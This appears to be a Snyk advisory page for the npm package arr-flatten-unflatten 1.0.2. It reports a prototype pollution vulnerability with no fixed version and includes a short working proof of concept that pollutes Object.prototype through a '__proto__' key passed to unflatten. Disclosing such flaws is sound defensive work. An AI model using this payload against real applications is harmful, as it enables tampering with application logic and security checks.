arr-flatten-unflatten@1.0.2 vulnerabilities

non-recursive method of flattening an array or arrays and unflattening the result

Direct Vulnerabilities

Known vulnerabilities in the arr-flatten-unflatten package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • H
Prototype Pollution

arr-flatten-unflatten is a non-recursive method of flattening an array or arrays and unflattening the result

Affected versions of this package are vulnerable to Prototype Pollution via the constructor.

POC:

const { unflatten } = require('arr-flatten-unflatten');
unflatten({'__proto__.polluted':true});
console.log(polluted);

How to fix Prototype Pollution?

There is no fixed version for arr-flatten-unflatten.

*